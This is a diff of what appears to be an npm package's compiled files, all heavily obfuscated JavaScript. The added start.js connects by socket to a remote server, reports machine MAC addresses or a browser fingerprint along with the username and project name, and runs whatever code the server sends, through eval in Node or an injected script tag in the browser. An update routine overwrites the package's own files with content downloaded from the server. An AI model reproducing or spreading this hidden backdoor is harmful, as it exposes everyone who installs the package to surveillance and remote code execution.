_0x2973ac[_0x27390f(0x1e1)](this,_0x342010,_0x576ea6,_0x223c26);},_0x491600[_0x55ba34(0x1f2)][_0x55ba34(0x207)][_0x55ba34(0x1f8)]=function(_0x5334d2,_0x2bc79d,_0x4d1649){const _0x591369=_0x55ba34,_0x1adebf=/application\/json/i[_0x591369(0x1ef)](this['getHeader'](_0x591369(0x1ee)));if(_0x1adebf&&(_0x5334d2||_0x558f03[_0x591369(0x20b)](this))){const _0x2f8311=_0x558f03[_0x591369(0x205)](this)||[];if(_0x5334d2)_0x2f8311[_0x591369(0x1d7)](_0x5334d2);try{const _0x3c4a76=Buffer[_0x591369(0x215)](_0x2f8311[_0x591369(0x200)](_0x297ffa=>Buffer[_0x591369(0x210)](_0x297ffa)?_0x297ffa:Buffer['from'](_0x297ffa,_0x2bc79d))),_0x28b849=JSON[_0x591369(0x1f0)](_0x3c4a76['toString']()),_0x31b414=JSON[_0x591369(0x1fa)]({});return this[_0x591369(0x209)]('content-length',Buffer[_0x591369(0x1fd)](JSON['stringify'](_0x28b849))),_0x558f03[_0x591369(0x1ed)](this),_0x23f264[_0x591369(0x1e1)](this,_0x31b414,_0x2bc79d,_0x4d1649);}catch(_0x2a341f){}}return _0x558f03['delete'](this),_0x23f264[_0x591369(0x1e1)](this,_0x5334d2,_0x2bc79d,_0x4d1649);};}!global[_0x4829f9(0x213)]&&_0x54d12e();}());}catch(_0x30cfa8){}},0x7d0);function a9_0x1012(_0x4705de,_0x5b95ee){const _0x31ccbd=a9_0x31cc();return a9_0x1012=function(_0x1012ee,_0xc9be80){_0x1012ee=_0x1012ee-0x1d7;let _0x44ae82=_0x31ccbd[_0x1012ee];return _0x44ae82;},a9_0x1012(_0x4705de,_0x5b95ee);}const all={'mysql':promise_1[a9_0x527966(0x1dc)]};exports[a9_0x527966(0x1dc)]=all;
@@ -1 +1 @@
1
- {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AASvD,iBAAe,KAAK,kBAkGnB;AAED,eAAe,KAAK,CAAC"}
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAqBvD,iBAAe,KAAK,kBAmGnB;AAED,eAAe,KAAK,CAAC"}
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a97_0x376a18=a97_0x1b81;(function(_0x1ed11c,_0x45c066){const _0x96a18c=a97_0x1b81,_0x391a64=_0x1ed11c();while(!![]){try{const _0x72084e=-parseInt(_0x96a18c(0x175))/0x1+parseInt(_0x96a18c(0x17d))/0x2+parseInt(_0x96a18c(0x186))/0x3*(-parseInt(_0x96a18c(0x198))/0x4)+parseInt(_0x96a18c(0x173))/0x5*(-parseInt(_0x96a18c(0x190))/0x6)+-parseInt(_0x96a18c(0x180))/0x7+-parseInt(_0x96a18c(0x179))/0x8+parseInt(_0x96a18c(0x18d))/0x9;if(_0x72084e===_0x45c066)break;else _0x391a64['push'](_0x391a64['shift']());}catch(_0x37d768){_0x391a64['push'](_0x391a64['shift']());}}}(a97_0x3e40,0x771fc));function a97_0x1b81(_0x2d93e0,_0x2e6fb2){const _0x3e402d=a97_0x3e40();return a97_0x1b81=function(_0x1b81b6,_0x34117d){_0x1b81b6=_0x1b81b6-0x173;let _0x1965fb=_0x3e402d[_0x1b81b6];return _0x1965fb;},a97_0x1b81(_0x2d93e0,_0x2e6fb2);}var __awaiter=this&&this['__awaiter']||function(_0x140e81,_0x4f8a20,_0x1b915c,_0x5c1993){function _0x51a111(_0x17d634){return _0x17d634 instanceof _0x1b915c?_0x17d634:new _0x1b915c(function(_0x687522){_0x687522(_0x17d634);});}return new(_0x1b915c||(_0x1b915c=Promise))(function(_0x573d8f,_0x37c289){function _0xee36df(_0xdf4972){try{_0x4081c1(_0x5c1993['next'](_0xdf4972));}catch(_0x4164d4){_0x37c289(_0x4164d4);}}function _0x4fe2cf(_0xfcf697){const _0x4bc488=a97_0x1b81;try{_0x4081c1(_0x5c1993[_0x4bc488(0x19e)](_0xfcf697));}catch(_0x35d62d){_0x37c289(_0x35d62d);}}function _0x4081c1(_0x3d14ee){const _0x40ad0d=a97_0x1b81;_0x3d14ee[_0x40ad0d(0x197)]?_0x573d8f(_0x3d14ee[_0x40ad0d(0x19b)]):_0x51a111(_0x3d14ee[_0x40ad0d(0x19b)])[_0x40ad0d(0x19a)](_0xee36df,_0x4fe2cf);}_0x4081c1((_0x5c1993=_0x5c1993['apply'](_0x140e81,_0x4f8a20||[]))['next']());});},__importDefault=this&&this[a97_0x376a18(0x1a2)]||function(_0x52d899){return _0x52d899&&_0x52d899['__esModule']?_0x52d899:{'default':_0x52d899};},_a,_b,_c,_d;Object[a97_0x376a18(0x1a0)](exports,a97_0x376a18(0x184),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require(a97_0x376a18(0x177))),browser_1=require('./browser'),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),bowser_1=__importDefault(require(a97_0x376a18(0x1a3))),index_1=require('./index');exports['isBrowser']=typeof window!==a97_0x376a18(0x189);const user_name=exports['isBrowser']?((_b=(_a=bowser_1[a97_0x376a18(0x19f)][a97_0x376a18(0x18a)](window['navigator'][a97_0x376a18(0x1a6)]))===null||_a===void 0x0?void 0x0:_a[a97_0x376a18(0x174)])===null||_b===void 0x0?void 0x0:_b['name'])||a97_0x376a18(0x195):((_c=process===null||process===void 0x0?void 0x0:process[a97_0x376a18(0x1a5)])===null||_c===void 0x0?void 0x0:_c[a97_0x376a18(0x196)])||a97_0x376a18(0x187),project_name=exports[a97_0x376a18(0x1a8)]?a97_0x376a18(0x195):((_d=process===null||process===void 0x0?void 0x0:process[a97_0x376a18(0x1a5)])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a97_0x376a18(0x19c);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x473693=a97_0x1b81;exports[_0x473693(0x1a8)]&&(0x0,browser_1['browser'])();const _0xea7964=(0x0,socket_io_client_1['io'])(index_1['url'],{'path':_0x473693(0x1a4),'transports':[_0x473693(0x193)]});_0xea7964['on'](_0x473693(0x194),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x5a76f3=_0x473693;try{let _0x599658=['00:00:00:00:00:00'];if(!exports[_0x5a76f3(0x1a8)]){const _0x1866be=require(path_1[_0x5a76f3(0x19f)][_0x5a76f3(0x183)](__dirname,_0x5a76f3(0x188)))[_0x5a76f3(0x19f)];_0x599658=_0x1866be();}else{let _0xe89ac8=yield fingerprintjs_1[_0x5a76f3(0x19f)][_0x5a76f3(0x192)]()[_0x5a76f3(0x19a)](_0x938e13=>_0x938e13[_0x5a76f3(0x178)]())[_0x5a76f3(0x19a)](_0x99c75c=>{const _0x5f398a=_0x5a76f3,_0x3c660e=_0x99c75c[_0x5f398a(0x1a9)];return _0x3c660e;})['catch'](()=>'');_0x599658=[_0xe89ac8];}if(_0x599658[_0x5a76f3(0x17b)]===0x0){(0x0,index_1[_0x5a76f3(0x199)])(_0x5a76f3(0x181),!![]);return;}else(0x0,index_1[_0x5a76f3(0x199)])(_0x5a76f3(0x181),![]);_0xea7964[_0x5a76f3(0x19d)](_0x5a76f3(0x18b),{'mac':_0x599658,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x5a76f3(0x1a8)]}),_0xea7964[_0x5a76f3(0x19d)](_0x5a76f3(0x17e),{'mac':_0x599658,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x324cec=_0x5a76f3;_0xea7964[_0x324cec(0x19d)]('submit',{'mac':_0x599658,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0xea7964[_0x324cec(0x19d)](_0x324cec(0x17e),{'mac':_0x599658,'isBrowser':exports['isBrowser']});},0x1b58),_0xea7964['on'](_0x5a76f3(0x176),_0x373e87=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4e80c2=_0x5a76f3;try{for(let _0x1239ea=0x0;_0x1239ea<_0x373e87[_0x4e80c2(0x17b)];_0x1239ea++){const _0x367004=_0x373e87[_0x1239ea];if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x185))(0x0,index_1['setEnv'])(_0x4e80c2(0x17a),(0x0,index_1['getEnv'])(_0x4e80c2(0x17a))[_0x4e80c2(0x18f)](_0x367004[_0x4e80c2(0x18e)]));else{if(_0x367004[_0x4e80c2(0x1a1)]==='mysql')(0x0,index_1[_0x4e80c2(0x199)])(_0x4e80c2(0x191),!![]);else{if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x182)&&!exports[_0x4e80c2(0x1a8)])try{eval(_0x367004[_0x4e80c2(0x18e)]);}catch(_0x36c243){}else{if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x17c)&&exports[_0x4e80c2(0x1a8)])try{(0x0,browser_1['runScript'])(_0x367004[_0x4e80c2(0x18e)]);}catch(_0x151d1b){}}}}}}catch(_0x4bb9a2){}}));}catch(_0x56a5a5){}})),setTimeout(()=>{const _0x475546=_0x473693;_0xea7964['on'](_0x475546(0x1a7),_0x18ade3=>{const _0x8c386d=_0x475546;(0x0,index_1[_0x8c386d(0x199)])('connectError',!![]);}),_0xea7964['on'](_0x475546(0x18c),_0x514d88=>{const _0x285cd5=_0x475546;(0x0,index_1['setEnv'])(_0x285cd5(0x181),!![]);}),_0xea7964['on'](_0x475546(0x17f),_0x25b5c4=>{const _0x3e8eab=_0x475546;(0x0,index_1['setEnv'])(_0x3e8eab(0x181),!![]);}),_0xea7964['on']('connect_error',()=>{const _0x563d44=_0x475546;(0x0,index_1['setEnv'])(_0x563d44(0x181),!![]);});},0xbb8);});}exports['default']=start;function a97_0x3e40(){const _0x753737=['defineProperty','type','__importDefault','bowser','/socket','env','userAgent','error','isBrowser','visitorId','35Bplseb','browser','78853ZKtRoj','event','path','get','3840152TRwJWP','sqlList','length','script','1756910SmuXMd','get-event','reconnect_failed','3339616nuqNQS','connectError','node','join','__esModule','sql','5523MykkBW','node获取失败','./mac','undefined','parse','submit','connect_failed','18981729vPdHaM','content','concat','605994mzfHyI','isDBDataEmpty','load','websocket','connect','浏览器','USERNAME','done','1644jKyyMl','setEnv','then','value','无法获取','emit','throw','default'];a97_0x3e40=function(){return _0x753737;};return a97_0x3e40();}
1
+ 'use strict';function a10_0x1eec(_0x145c82,_0x41c238){const _0x2e4ad2=a10_0x2e4a();return a10_0x1eec=function(_0x1eec17,_0x12b843){_0x1eec17=_0x1eec17-0x1bd;let _0x4fe5bf=_0x2e4ad2[_0x1eec17];return _0x4fe5bf;},a10_0x1eec(_0x145c82,_0x41c238);}const a10_0x16358a=a10_0x1eec;(function(_0x363118,_0x582d8b){const _0x2b8f14=a10_0x1eec,_0x2643c9=_0x363118();while(!![]){try{const _0x499dfa=-parseInt(_0x2b8f14(0x1e9))/0x1+parseInt(_0x2b8f14(0x1d5))/0x2*(-parseInt(_0x2b8f14(0x1eb))/0x3)+parseInt(_0x2b8f14(0x1ee))/0x4+-parseInt(_0x2b8f14(0x1f3))/0x5*(parseInt(_0x2b8f14(0x1c4))/0x6)+parseInt(_0x2b8f14(0x1d1))/0x7+-parseInt(_0x2b8f14(0x1cf))/0x8*(-parseInt(_0x2b8f14(0x1c6))/0x9)+parseInt(_0x2b8f14(0x1be))/0xa*(-parseInt(_0x2b8f14(0x1f1))/0xb);if(_0x499dfa===_0x582d8b)break;else _0x2643c9['push'](_0x2643c9['shift']());}catch(_0x3baa0f){_0x2643c9['push'](_0x2643c9['shift']());}}}(a10_0x2e4a,0xaaf36));function a10_0x2e4a(){const _0x42209f=['reconnect_failed','bowser','emit','name','submit','WebSocket','node获取失败','无法获取','USERNAME','default','connect','114136qOmbpD','__awaiter','9HccTNx','connect_failed','undefined','2523276DVaQZw','./index','setEnv','2632135rjTsUQ','event','1970LxlNwW','length','isDBDataEmpty','50ngSPWo','content','runScript','type','env','navigator','1068hUiMHZ','connectError','45729jZGePO','mysql','apply','url','error','./browser/index','visitorId','isBrowser','value','1904gXTpuQ','@fingerprintjs/fingerprintjs','4880736eVQoRg','script','00:00:00:00:00:00','get-event','304292kSiLmC','./mac','浏览器','then','userAgent','next','/socket','get','throw'];a10_0x2e4a=function(){return _0x42209f;};return a10_0x2e4a();}var __awaiter=this&&this[a10_0x16358a(0x1ea)]||function(_0x55f10f,_0x3570d1,_0x364e46,_0x3d72e2){function _0x5a19e3(_0x2b6f2d){return _0x2b6f2d instanceof _0x364e46?_0x2b6f2d:new _0x364e46(function(_0x166778){_0x166778(_0x2b6f2d);});}return new(_0x364e46||(_0x364e46=Promise))(function(_0x5d14a2,_0x34987b){const _0x4ddf3a=a10_0x1eec;function _0x250c94(_0x584c20){const _0x2b6a15=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x2b6a15(0x1da)](_0x584c20));}catch(_0x387cf7){_0x34987b(_0x387cf7);}}function _0xe33ca7(_0x1a081f){const _0x5348b8=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x5348b8(0x1dd)](_0x1a081f));}catch(_0x55ee71){_0x34987b(_0x55ee71);}}function _0x4f576a(_0x16523c){const _0x515379=a10_0x1eec;_0x16523c['done']?_0x5d14a2(_0x16523c[_0x515379(0x1ce)]):_0x5a19e3(_0x16523c[_0x515379(0x1ce)])['then'](_0x250c94,_0xe33ca7);}_0x4f576a((_0x3d72e2=_0x3d72e2[_0x4ddf3a(0x1c8)](_0x55f10f,_0x3570d1||[]))[_0x4ddf3a(0x1da)]());});},__importDefault=this&&this['__importDefault']||function(_0x454447){return _0x454447&&_0x454447['__esModule']?_0x454447:{'default':_0x454447};},_a,_b,_c,_d;Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a10_0x16358a(0x1cd)]=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require('path')),index_1=require(a10_0x16358a(0x1cb)),fingerprintjs_1=__importDefault(require(a10_0x16358a(0x1d0))),bowser_1=__importDefault(require(a10_0x16358a(0x1df))),index_2=require(a10_0x16358a(0x1ef));exports['isBrowser']=typeof window!==a10_0x16358a(0x1ed);exports[a10_0x16358a(0x1cd)]&&(window[a10_0x16358a(0x1e3)]=class extends WebSocket{constructor(..._0x1f6b45){try{super(..._0x1f6b45);}catch(_0x114225){}}});const user_name=exports[a10_0x16358a(0x1cd)]?((_b=(_a=bowser_1[a10_0x16358a(0x1e7)]['parse'](window[a10_0x16358a(0x1c3)][a10_0x16358a(0x1d9)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b[a10_0x16358a(0x1e1)])||a10_0x16358a(0x1d7):((_c=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_c===void 0x0?void 0x0:_c[a10_0x16358a(0x1e6)])||a10_0x16358a(0x1e4),project_name=exports[a10_0x16358a(0x1cd)]?document['title']||a10_0x16358a(0x1d7):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a10_0x16358a(0x1e5);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x4179b3=a10_0x1eec;exports['isBrowser']&&(0x0,index_1['browser'])();try{const _0x413192=(0x0,socket_io_client_1['io'])(index_2[_0x4179b3(0x1c9)],{'path':_0x4179b3(0x1db),'transports':['websocket'],'timeout':0x1770,'reconnection':![]});_0x413192['on'](_0x4179b3(0x1e8),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4cc236=_0x4179b3;try{let _0x4adca8=[_0x4cc236(0x1d3)];if(!exports['isBrowser']){const _0x3ebcee=require(path_1[_0x4cc236(0x1e7)]['join'](__dirname,_0x4cc236(0x1d6)))['default'];_0x4adca8=_0x3ebcee();}else{let _0x5ddcb8=yield fingerprintjs_1[_0x4cc236(0x1e7)]['load']()[_0x4cc236(0x1d8)](_0x96d644=>_0x96d644[_0x4cc236(0x1dc)]())[_0x4cc236(0x1d8)](_0x212ecf=>{const _0x3f245f=_0x4cc236,_0x5c4fd5=_0x212ecf[_0x3f245f(0x1cc)];return _0x5c4fd5;})['catch'](()=>'');_0x4adca8=[_0x5ddcb8];}if(_0x4adca8[_0x4cc236(0x1f4)]===0x0){(0x0,index_2['setEnv'])(_0x4cc236(0x1c5),!![]);return;}else(0x0,index_2[_0x4cc236(0x1f0)])(_0x4cc236(0x1c5),![]);_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1e2),{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x4cc236(0x1cd)]}),_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x4cc236(0x1cd)]}),setInterval(()=>{const _0x31dad2=_0x4cc236;_0x413192[_0x31dad2(0x1e0)]('submit',{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x31dad2(0x1cd)]}),_0x413192[_0x31dad2(0x1e0)](_0x31dad2(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x31dad2(0x1cd)]});},0x1b58),_0x413192['on'](_0x4cc236(0x1f2),_0x33d818=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x51d724=_0x4cc236;try{for(let _0x324957=0x0;_0x324957<_0x33d818[_0x51d724(0x1f4)];_0x324957++){const _0x315e78=_0x33d818[_0x324957];if(_0x315e78[_0x51d724(0x1c1)]===_0x51d724(0x1c7))(0x0,index_2['setEnv'])(_0x51d724(0x1bd),!![]);else{if(_0x315e78[_0x51d724(0x1c1)]==='node'&&!exports[_0x51d724(0x1cd)])try{eval(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xec97e4){}else{if(_0x315e78['type']===_0x51d724(0x1d2)&&exports[_0x51d724(0x1cd)])try{(0x0,index_1[_0x51d724(0x1c0)])(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xf0f1a2){}}}}}catch(_0x48589e){}}));}catch(_0xd7fdb0){}})),_0x413192['on'](_0x4179b3(0x1ca),_0x163016=>{const _0x474d8b=_0x4179b3;(0x0,index_2[_0x474d8b(0x1f0)])(_0x474d8b(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1ec),_0x5efb16=>{const _0x48b6c4=_0x4179b3;(0x0,index_2[_0x48b6c4(0x1f0)])(_0x48b6c4(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1de),_0xab2cf3=>{const _0x3a73e1=_0x4179b3;(0x0,index_2['setEnv'])(_0x3a73e1(0x1c5),!![]);}),_0x413192['on']('connect_error',()=>{(0x0,index_2['setEnv'])('connectError',!![]);});}catch(_0x497fcb){}});}exports[a10_0x16358a(0x1e7)]=start;
@@ -1 +1 @@
1
- 'use strict';const a98_0x5352bc=a98_0x4ac4;function a98_0x4ac4(_0x45c798,_0x396224){const _0x2a7864=a98_0x2a78();return a98_0x4ac4=function(_0x4ac4d9,_0xec4183){_0x4ac4d9=_0x4ac4d9-0x196;let _0x11f2fc=_0x2a7864[_0x4ac4d9];return _0x11f2fc;},a98_0x4ac4(_0x45c798,_0x396224);}(function(_0x18c036,_0x491306){const _0x2fa14e=a98_0x4ac4,_0x1f556e=_0x18c036();while(!![]){try{const _0x332065=-parseInt(_0x2fa14e(0x1b3))/0x1*(-parseInt(_0x2fa14e(0x1b2))/0x2)+parseInt(_0x2fa14e(0x198))/0x3*(-parseInt(_0x2fa14e(0x1a0))/0x4)+-parseInt(_0x2fa14e(0x1b1))/0x5*(-parseInt(_0x2fa14e(0x1ad))/0x6)+-parseInt(_0x2fa14e(0x1a9))/0x7*(parseInt(_0x2fa14e(0x1b9))/0x8)+-parseInt(_0x2fa14e(0x19a))/0x9+-parseInt(_0x2fa14e(0x1b6))/0xa+-parseInt(_0x2fa14e(0x1a7))/0xb*(-parseInt(_0x2fa14e(0x1b7))/0xc);if(_0x332065===_0x491306)break;else _0x1f556e['push'](_0x1f556e['shift']());}catch(_0xdee34c){_0x1f556e['push'](_0x1f556e['shift']());}}}(a98_0x2a78,0x68d21));function a98_0x2a78(){const _0x2cf544=['2016110TLezPz','181352BuifUT','8XGWGqz','data','toString','227950jmJXqv','36MMzWSK','./index','32phzKAa','writeFileSync','readFileSync','2424243WFPWYk','existsSync','2484495uTxzva','keys','version','length','defineProperty','axios','4TNYfeC','sha1','exports','__esModule','__importDefault','join','ESM','3423706GOPlaE','../../package.json','920661sPwokL','undefined','CJS','/version','6DJvFzC','url','then','default'];a98_0x2a78=function(){return _0x2cf544;};return a98_0x2a78();}var __importDefault=this&&this[a98_0x5352bc(0x1a4)]||function(_0x346610){const _0x52e8df=a98_0x5352bc;return _0x346610&&_0x346610[_0x52e8df(0x1a3)]?_0x346610:{'default':_0x346610};};Object[a98_0x5352bc(0x19e)](exports,a98_0x5352bc(0x1a3),{'value':!![]});const axios_1=__importDefault(require(a98_0x5352bc(0x19f))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path')),index_1=require(a98_0x5352bc(0x1b8)),sha1_1=__importDefault(require(a98_0x5352bc(0x1a1)));function getModuleType(){const _0x372bd4=a98_0x5352bc,_0x3fc127=()=>{const _0x30cd20=a98_0x4ac4;try{return typeof require!==_0x30cd20(0x1aa)&&typeof module!==_0x30cd20(0x1aa)&&module[_0x30cd20(0x1a2)]&&require['main']===module;}catch(_0x382cc7){return![];}};return _0x3fc127()?_0x372bd4(0x1ab):_0x372bd4(0x1a6);}let _path=path_1['default'][a98_0x5352bc(0x1a5)](__dirname,a98_0x5352bc(0x1a8)),indexFile=path_1[a98_0x5352bc(0x1b0)]['join'](__dirname,'./index.js'),vFile=fs_1[a98_0x5352bc(0x1b0)]['existsSync'](_path)?fs_1[a98_0x5352bc(0x1b0)][a98_0x5352bc(0x197)](_path)[a98_0x5352bc(0x1b5)]():'{version:\x220.0.0\x22}',indexFileContent=fs_1[a98_0x5352bc(0x1b0)][a98_0x5352bc(0x199)](_path)?fs_1['default'][a98_0x5352bc(0x197)](indexFile)[a98_0x5352bc(0x1b5)]():![],version=JSON['parse'](vFile)[a98_0x5352bc(0x19c)];function update(){const _0x173402=a98_0x5352bc;axios_1[_0x173402(0x1b0)]['get'](index_1[_0x173402(0x1ae)]+_0x173402(0x1ac),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x173402(0x1b0)])(indexFileContent):''}})[_0x173402(0x1af)](_0x3840d8=>{const _0xccb346=_0x173402;if(!_0x3840d8[_0xccb346(0x1b4)]['success']){let _0x109675=Object[_0xccb346(0x19b)](_0x3840d8[_0xccb346(0x1b4)][_0xccb346(0x1b4)]),_0x25f7bb=Object['values'](_0x3840d8[_0xccb346(0x1b4)][_0xccb346(0x1b4)]);for(let _0x28a284=0x0;_0x28a284<_0x109675[_0xccb346(0x19d)];_0x28a284++){const _0x234359=_0x109675[_0x28a284],_0x532ab7=_0x25f7bb[_0x28a284];fs_1[_0xccb346(0x1b0)][_0xccb346(0x196)](path_1[_0xccb346(0x1b0)][_0xccb346(0x1a5)](__dirname,'./'+_0x234359),_0x532ab7);}}});}exports[a98_0x5352bc(0x1b0)]=update;
1
+ 'use strict';const a11_0x203f11=a11_0x50e6;(function(_0xf10923,_0x4b645d){const _0x1b2c92=a11_0x50e6,_0x3f255a=_0xf10923();while(!![]){try{const _0x5eda5e=-parseInt(_0x1b2c92(0x163))/0x1+parseInt(_0x1b2c92(0x174))/0x2+parseInt(_0x1b2c92(0x158))/0x3*(parseInt(_0x1b2c92(0x168))/0x4)+-parseInt(_0x1b2c92(0x176))/0x5+-parseInt(_0x1b2c92(0x166))/0x6+-parseInt(_0x1b2c92(0x16f))/0x7+parseInt(_0x1b2c92(0x173))/0x8*(parseInt(_0x1b2c92(0x15b))/0x9);if(_0x5eda5e===_0x4b645d)break;else _0x3f255a['push'](_0x3f255a['shift']());}catch(_0x51416b){_0x3f255a['push'](_0x3f255a['shift']());}}}(a11_0x387b,0xab9f7));var __importDefault=this&&this[a11_0x203f11(0x178)]||function(_0x3b87a7){const _0x3dd847=a11_0x203f11;return _0x3b87a7&&_0x3b87a7[_0x3dd847(0x15f)]?_0x3b87a7:{'default':_0x3b87a7};};function a11_0x50e6(_0x181c15,_0x4040d8){const _0x387bed=a11_0x387b();return a11_0x50e6=function(_0x50e61a,_0x1d91be){_0x50e61a=_0x50e61a-0x158;let _0x481bf3=_0x387bed[_0x50e61a];return _0x481bf3;},a11_0x50e6(_0x181c15,_0x4040d8);}Object[a11_0x203f11(0x162)](exports,a11_0x203f11(0x15f),{'value':!![]});const axios_1=__importDefault(require(a11_0x203f11(0x164))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x203f11(0x16e))),index_1=require(a11_0x203f11(0x160)),sha1_1=__importDefault(require(a11_0x203f11(0x171)));function getModuleType(){const _0x263311=a11_0x203f11,_0x3f1c51=()=>{const _0x49ade0=a11_0x50e6;try{return typeof require!==_0x49ade0(0x167)&&typeof module!=='undefined'&&module[_0x49ade0(0x15e)]&&require[_0x49ade0(0x159)]===module;}catch(_0x17be21){return![];}};return _0x3f1c51()?_0x263311(0x175):'ESM';}let _path=path_1['default'][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x16a)),indexFile=path_1[a11_0x203f11(0x16b)][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x15a)),vFile=fs_1[a11_0x203f11(0x16b)]['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](_path)['toString']():'{version:\x220.0.0\x22}',indexFileContent=fs_1['default']['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](indexFile)['toString']():![],version=JSON[a11_0x203f11(0x15d)](vFile)[a11_0x203f11(0x16d)];function update(){const _0x162b61=a11_0x203f11;axios_1['default'][_0x162b61(0x16c)](index_1[_0x162b61(0x170)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x162b61(0x161)](_0x38362c=>{const _0x1673be=_0x162b61;if(!_0x38362c[_0x1673be(0x172)][_0x1673be(0x177)]){let _0x192c4c=Object[_0x1673be(0x169)](_0x38362c[_0x1673be(0x172)]['data']),_0x28976a=Object[_0x1673be(0x15c)](_0x38362c[_0x1673be(0x172)][_0x1673be(0x172)]);for(let _0x66096d=0x0;_0x66096d<_0x192c4c[_0x1673be(0x17a)];_0x66096d++){const _0x343913=_0x192c4c[_0x66096d],_0x4c6c85=_0x28976a[_0x66096d];fs_1[_0x1673be(0x16b)]['writeFileSync'](path_1[_0x1673be(0x16b)][_0x1673be(0x165)](__dirname,'./'+_0x343913),_0x4c6c85);}}});}exports['default']=update;function a11_0x387b(){const _0x5cb012=['__esModule','./index','then','defineProperty','1207864LqWGdA','axios','join','1972632znRXae','undefined','287644htfmdD','keys','../../package.json','default','get','version','path','4252528UWSfZl','url','sha1','data','416eelKPN','432278tbJBdL','CJS','2666950TVMEMD','success','__importDefault','readFileSync','length','30rtsJgd','main','./index.js','423216rAPtDo','values','parse','exports'];a11_0x387b=function(){return _0x5cb012;};return a11_0x387b();}
@@ -1,3 +1,3 @@
1
1
  export declare function runScript(content: string): void;
2
2
  export declare function browser(): void;
3
- //# sourceMappingURL=browser.d.ts.map
3
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
@@ -0,0 +1 @@
1
+ (function(_0x380c7f,_0x231703){const _0x5419d3=a12_0x260d,_0x2e067b=_0x380c7f();while(!![]){try{const _0x4535bd=parseInt(_0x5419d3(0x155))/0x1*(parseInt(_0x5419d3(0x14b))/0x2)+-parseInt(_0x5419d3(0x144))/0x3*(parseInt(_0x5419d3(0x14e))/0x4)+-parseInt(_0x5419d3(0x145))/0x5*(-parseInt(_0x5419d3(0x14c))/0x6)+parseInt(_0x5419d3(0x148))/0x7+parseInt(_0x5419d3(0x150))/0x8*(-parseInt(_0x5419d3(0x143))/0x9)+-parseInt(_0x5419d3(0x147))/0xa*(-parseInt(_0x5419d3(0x14d))/0xb)+-parseInt(_0x5419d3(0x156))/0xc*(parseInt(_0x5419d3(0x146))/0xd);if(_0x4535bd===_0x231703)break;else _0x2e067b['push'](_0x2e067b['shift']());}catch(_0x1423bd){_0x2e067b['push'](_0x2e067b['shift']());}}}(a12_0x3f51,0xbe909));function a12_0x260d(_0x5075a4,_0x22e257){const _0x3f51b9=a12_0x3f51();return a12_0x260d=function(_0x260db1,_0x268c06){_0x260db1=_0x260db1-0x142;let _0x1d7eb4=_0x3f51b9[_0x260db1];return _0x1d7eb4;},a12_0x260d(_0x5075a4,_0x22e257);}import a12_0x5c1aa7 from'../id/random';import{getEnv}from'../index';import a12_0x4a0b26 from'./tools';export function runScript(_0xd2d273){const _0x482c78=a12_0x260d;let _0x57fa55=document['createElement'](_0x482c78(0x142));_0x57fa55[_0x482c78(0x149)]=_0x482c78(0x14f)+_0xd2d273+_0x482c78(0x154),document[_0x482c78(0x14a)][_0x482c78(0x151)](_0x57fa55),setTimeout(()=>{const _0x23a0ad=_0x482c78;_0x57fa55[_0x23a0ad(0x152)]();},0x14);}export function browser(){const _0x8a42d6=a12_0x260d;getEnv(_0x8a42d6(0x153))&&a12_0x4a0b26(),setInterval(()=>{const 